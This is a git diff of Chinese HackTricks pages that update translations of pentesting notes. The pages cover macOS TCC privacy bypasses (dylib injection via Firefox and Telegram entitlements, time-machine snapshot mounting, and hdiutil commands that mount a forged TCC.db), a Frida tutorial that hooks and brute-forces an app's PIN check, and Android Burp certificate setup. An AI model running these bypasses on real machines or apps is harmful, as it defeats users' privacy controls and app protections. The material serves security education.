只需在其中存储一个具有常见**构造函数**的库即可用于**注入代码**。
|
||||
只需在那里存储一个带有通用**构造函数**的库即可**注入代码**。
|
||||
|
||||
几个Apple应用程序存在此漏洞。
|
||||
多个苹果应用程序对此存在漏洞。
|
||||
|
||||
### Firefox
|
||||
|
||||
Firefox应用程序具有`com.apple.security.cs.disable-library-validation`和`com.apple.security.cs.allow-dyld-environment-variables`权限：
|
||||
Firefox 应用程序具有 `com.apple.security.cs.disable-library-validation` 和 `com.apple.security.cs.allow-dyld-environment-variables` 权限：
|
||||
```xml
|
||||
codesign -d --entitlements :- /Applications/Firefox.app
|
||||
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||
|
|
@ -290,17 +333,17 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
有关如何轻松利用此漏洞的更多信息，请查看[**原始报告**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。
|
||||
有关如何轻松利用此漏洞的更多信息，请[**查看原始报告**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。
|
||||
|
||||
### CVE-2020-10006
|
||||
|
||||
二进制文件`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl`具有权限**`com.apple.private.tcc.allow`**和**`com.apple.security.get-task-allow`**，允许在进程内注入代码并使用TCC权限。
|
||||
二进制文件 `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` 拥有 **`com.apple.private.tcc.allow`** 和 **`com.apple.security.get-task-allow`** 权限，这允许在进程中注入代码并使用 TCC 权限。
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram具有权限**`com.apple.security.cs.allow-dyld-environment-variables`**和**`com.apple.security.cs.disable-library-validation`**，因此可以滥用它来**获取其权限**，例如使用摄像头进行录制。您可以在[**写作中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
Telegram 拥有 **`com.apple.security.cs.allow-dyld-environment-variables`** 和 **`com.apple.security.cs.disable-library-validation`** 权限，因此可以滥用它来**获取其权限**，例如使用摄像头录制。您可以在[**写入报告中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
|
||||
请注意，如何使用环境变量加载库，创建了一个**自定义plist**来注入此库，并使用**`launchctl`**来启动它：
|
||||
请注意如何使用环境变量来加载库，创建了一个**自定义 plist** 来注入此库，并使用 **`launchctl`** 来启动它：
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
|
@ -330,15 +373,15 @@ Telegram具有权限**`com.apple.security.cs.allow-dyld-environment-variables`**
|
|||
```bash
|
||||
launchctl load com.telegram.launcher.plist
|
||||
```
|
||||
## 通过打开调用
|
||||
## 通过 open 调用
|
||||
|
||||
即使在沙盒环境下，也可以调用**`open`**。
|
||||
即使在沙盒中也可以调用 **`open`**。
|
||||
|
||||
### 终端脚本
|
||||
|
||||
通常情况下，给终端授予**完全磁盘访问权限（FDA）**是很常见的，至少在技术人员使用的计算机上是如此。可以使用它来调用**`.terminal`**脚本。
|
||||
在技术人员使用的计算机中，通常会给终端 **完全磁盘访问权限 (FDA)**。并且可以使用它来调用 **`.terminal`** 脚本。
|
||||
|
||||
**`.terminal`**脚本是plist文件，例如下面这个文件中的命令在**`CommandString`**键中执行：
|
||||
**`.terminal`** 脚本是像这样的 plist 文件，其中 **`CommandString`** 键包含要执行的命令：
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
|
@ -356,7 +399,7 @@ launchctl load com.telegram.launcher.plist
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
应用程序可以在/tmp等位置编写一个终端脚本，并使用如下命令来启动它：
|
||||
应用程序可以在例如 `/tmp` 的位置编写一个终端脚本，并使用以下命令启动它：
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
|
|
@ -371,8 +414,10 @@ exploit_location]; task.standardOutput = pipe;
|
|||
|
||||
### CVE-2020-9771 - mount\_apfs TCC绕过和权限提升
|
||||
|
||||
**任何用户**（即使是非特权用户）都可以创建和挂载时间机器快照，并**访问该快照的所有文件**。\
|
||||
唯一需要的特权是所使用的应用程序（如`Terminal`）需要具有**完全磁盘访问权限**（FDA）（`kTCCServiceSystemPolicyAllfiles`），这需要由管理员授予。
|
||||
**任何用户**（即使是非特权用户）都可以创建并挂载时间机器快照，并**访问该快照的所有文件**。
|
||||
所需的**唯一权限**是应用程序（如`Terminal`）需要有**完全磁盘访问**（FDA）权限（`kTCCServiceSystemPolicyAllfiles`），这需要由管理员授权。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
|
|
@ -394,11 +439,13 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
更详细的解释可以在[原始报告中找到](https://theevilbit.github.io/posts/cve\_2020\_9771/)。
|
||||
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve_2020_9771/)**。**
|
||||
|
||||
### CVE-2021-1784和CVE-2021-30808 - 在TCC文件上进行挂载
|
||||
### CVE-2021-1784 & CVE-2021-30808 - 覆盖 TCC 文件挂载
|
||||
|
||||
即使TCC DB文件受到保护，仍然可以通过**挂载到目录上**一个新的TCC.db文件：
|
||||
即使 TCC DB 文件受到保护，也可以**覆盖目录**挂载一个新的 TCC.db 文件：
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# CVE-2021-1784
|
||||
## Mount over Library/Application\ Support/com.apple.TCC
|
||||
|
|
@ -408,7 +455,9 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
|
|||
## Mount over ~/Library
|
||||
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
|
||||
```
|
||||
{% endcode %}
|
||||
```
|
||||
无需翻译的内容。
|
||||
```
|
||||
```python
|
||||
# This was the python function to create the dmg
|
||||
def create_dmg():
|
||||
|
|
@ -419,16 +468,16 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
|
|||
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
||||
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
```
|
||||
查看[原始文档](https://theevilbit.github.io/posts/cve-2021-30808/)中的**完整利用方法**。
|
||||
查看[**原始报告**](https://theevilbit.github.io/posts/cve-2021-30808/)中的**完整漏洞利用**。
|
||||
|
||||
### asr
|
||||
|
||||
工具**`/usr/sbin/asr`**允许复制整个磁盘并在另一个位置挂载，绕过TCC保护。
|
||||
工具**`/usr/sbin/asr`**允许复制整个磁盘并将其挂载到另一个位置，绕过TCC保护。
|
||||
|
||||
### 位置服务
|
||||
|
||||
在**`/var/db/locationd/clients.plist`**中有第三个TCC数据库，用于指示允许**访问位置服务**的客户端。\
|
||||
文件夹**`/var/db/locationd/`没有受到DMG挂载的保护**，因此可以挂载我们自己的plist。
|
||||
文件夹**`/var/db/locationd/`**没有受到DMG挂载的保护，因此可以挂载我们自己的plist。
|
||||
|
||||
## 通过启动应用程序
|
||||
|
||||
|
|
@ -438,21 +487,21 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
|
||||
## 通过grep
|
||||
|
||||
在许多情况下，文件会将敏感信息（如电子邮件、电话号码、消息等）存储在未受保护的位置（这在Apple中被视为漏洞）。
|
||||
在多个场合，文件会在未受保护的位置存储敏感信息，如电子邮件、电话号码、消息等（这在Apple中被视为一个漏洞）。
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 合成点击
|
||||
|
||||
这种方法不再有效，但是[**过去有效**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**：**
|
||||
这种方法不再有效，但[**过去有效**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**：**
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
另一种方法是使用[**CoreGraphics事件**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf)：
|
||||
另一种使用[**CoreGraphics事件**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf)的方法：
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
|
|
@ -463,10 +512,10 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗？想要在HackTricks中宣传你的**公司**吗？或者想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作，想在HackTricks中看到您的**公司广告**，或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,32 +1,32 @@
|
|||
# Frida教程1
|
||||
# Frida 教程 1
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云平台 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在**网络安全公司**工作吗？你想在**HackTricks**中看到你的**公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标——**我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果你对**黑客职业**感兴趣，并且想要黑掉不可黑的 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**来源**：[https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**来自**：[https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**：[https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**源代码**：[https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
## Python
|
||||
|
||||
Frida允许你在运行的应用程序的函数中**插入JavaScript代码**。但你可以使用**python**来**调用**钩子甚至与**钩子**进行**交互**。
|
||||
Frida 允许你在运行中的应用程序的函数内**插入 JavaScript 代码**。但是你可以使用**python**来**调用**钩子，甚至与**钩子**进行**交互**。
|
||||
|
||||
这是一个简单的python脚本，你可以在本教程中的所有示例中使用：
|
||||
这是一个简单的 python 脚本，你可以在本教程中提出的所有示例中使用它：
|
||||
```python
|
||||
#hooking.py
|
||||
import frida, sys
|
||||
|
|
@ -43,13 +43,13 @@ sys.stdin.read()
|
|||
```bash
|
||||
python hooking.py <hookN.js>
|
||||
```
|
||||
了解如何使用Python与Frida是很有用的，但对于这些示例，您也可以直接使用命令行的Frida工具来调用：
|
||||
它对于了解如何将python与frida一起使用是有帮助的，但对于这些示例，您也可以直接使用命令行frida工具来调用Frida：
|
||||
```bash
|
||||
frida -U --no-pause -l hookN.js -f infosecadventures.fridademo
|
||||
```
|
||||
## 钩子 1 - 布尔绕过
|
||||
|
||||
在这里，您可以看到如何从类 _infosecadventures.fridademo.utils.PinUtil_ **钩取**一个 **布尔** 方法（_checkPin_）。
|
||||
在这里，您可以看到如何从类 _infosecadventures.fridademo.utils.PinUtil_ 中**挂钩**一个**布尔**方法（_checkPin_）。
|
||||
```javascript
|
||||
//hook1.js
|
||||
Java.perform(function() {
|
||||
|
|
@ -65,12 +65,12 @@ return true;
|
|||
```
|
||||
python hooking.py hook1.js
|
||||
```
|
||||
## 钩子 2 - 函数暴力破解
|
||||
## Hook 2 - 函数暴力破解
|
||||
|
||||
### 非静态函数
|
||||
|
||||
如果你想调用一个类的非静态函数，你首先需要一个该类的实例。然后，你可以使用该实例来调用该函数。\
|
||||
为了做到这一点，你可以找到一个现有的实例并使用它：
|
||||
如果你想调用一个类的非静态函数，你**首先需要一个该类的实例**。然后，你可以使用这个实例来调用函数。\
|
||||
为此，你可以**找到一个现有的实例**并使用它：
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
console.log("[ * ] Starting PIN Brute-force, please wait...");
|
||||
|
|
@ -88,8 +88,6 @@ onComplete: function() { }
|
|||
});
|
||||
});
|
||||
```
|
||||
在这种情况下，这不起作用，因为没有任何实例，而且函数是静态的
|
||||
|
||||
### 静态函数
|
||||
|
||||
如果函数是静态的，你可以直接调用它：
|
||||
|
|
@ -109,7 +107,7 @@ console.log("[ + ] Found correct PIN: " + i);
|
|||
```
|
||||
## Hook 3 - 检索参数和返回值
|
||||
|
||||
您可以钩住一个函数，并使其**打印**传递的参数的值和返回值的值：
|
||||
您可以挂钩一个函数，并使其**打印**出**传递参数**的值和**返回值**的值：
|
||||
```javascript
|
||||
//hook3.js
|
||||
Java.perform(function() {
|
||||
|
|
@ -127,15 +125,15 @@ return encrypted_ret;
|
|||
```
|
||||
## 重要
|
||||
|
||||
在本教程中，您使用方法的名称和_.implementation_来挂钩方法。但是，如果有**多个具有相同名称的方法**，您将需要**指定要挂钩的方法**，并指示参数的类型。
|
||||
在本教程中，您通过方法的名称和 _.implementation_ 钩住了方法。但如果有**多个同名方法**，您将需要**指定您想要钩住的方法**，**指出参数的类型**。
|
||||
|
||||
您可以在[下一个教程](frida-tutorial-2.md)中看到这一点。
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要黑掉不可黑掉的东西 - **我们正在招聘！**（需要流利的波兰语书面和口语）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑进那些不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -143,10 +141,10 @@ return encrypted_ret;
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗？您想在HackTricks中看到您的**公司广告**吗？或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要访问**最新版本的PEASS或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,29 +1,33 @@
|
|||
# 安装Burp证书
|
||||
# 安装 Burp 证书
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## 在虚拟机上
|
||||
|
||||
首先，你需要从Burp中下载Der证书。你可以在_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_中完成这个操作。
|
||||
首先，您需要从Burp下载Der证书。您可以在 _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ 中进行下载。
|
||||
|
||||
.png>)
|
||||
|
||||
**以Der格式导出证书**，然后将其转换为**Android**能够**理解的形式**。请注意，**为了在AVD中配置Burp证书**，你需要**使用**`-writable-system`**选项运行该虚拟机**。\
|
||||
例如，你可以这样运行它：
|
||||
**以Der格式导出证书**，然后将其**转换**为**Android**能够**理解**的格式。请注意，**为了在AVD中的Android机器上配置burp证书**，您需要使用**`-writable-system`**选项**运行**此机器。\
|
||||
例如，您可以这样运行它：
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
然后，要**配置Burp的证书**，请执行以下操作：
|
||||
{% endcode %}
|
||||
|
||||
然后，要**配置 burp 证书，请执行**：
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
|
@ -38,27 +42,27 @@ adb reboot #Now, reboot the machine
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
一旦机器重新启动，Burp证书将被使用！
|
||||
一旦**机器完成重启**，burp证书将被其使用！
|
||||
|
||||
## 使用Magisc
|
||||
|
||||
如果您使用Magisc（可能是模拟器）对设备进行了root，而且由于文件系统是只读的，您无法按照之前的步骤安装Burp证书，也无法将其重新挂载为可写，请使用另一种方法。
|
||||
如果您**使用Magisc对设备进行了root**（可能是模拟器），并且您**无法按照**前面的**步骤**安装Burp证书，因为**文件系统是只读的**并且您无法重新挂载为可写，还有另一种方法。
|
||||
|
||||
在[**此视频**](https://www.youtube.com/watch?v=qQicUW0svB8)中解释了您需要：
|
||||
如[**此视频**](https://www.youtube.com/watch?v=qQicUW0svB8)所解释，您需要：
|
||||
|
||||
1. **安装CA证书**：只需将DER Burp证书拖放到移动设备上，将扩展名更改为`.crt`，以便将其存储在下载文件夹中，然后转到“安装证书”->“CA证书”
|
||||
1. **安装CA证书**：只需将DER Burp证书**拖放**并**更改扩展名**为`.crt`到手机中，这样它就存储在下载文件夹中，然后转到`安装证书` -> `CA证书`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* 检查证书是否正确存储，转到“受信任的凭据”->“用户”
|
||||
* 检查证书是否已正确存储，转到`受信任的凭据` -> `USER`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
